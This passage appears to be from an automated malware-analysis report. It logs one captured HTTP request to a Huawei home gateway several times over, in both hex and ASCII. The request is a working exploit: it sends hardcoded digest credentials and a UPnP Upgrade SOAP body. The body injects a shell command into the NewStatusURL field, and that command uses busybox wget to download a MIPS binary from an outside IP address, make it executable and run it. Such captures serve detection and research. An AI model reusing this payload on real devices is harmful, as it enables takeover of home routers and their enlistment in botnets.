20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
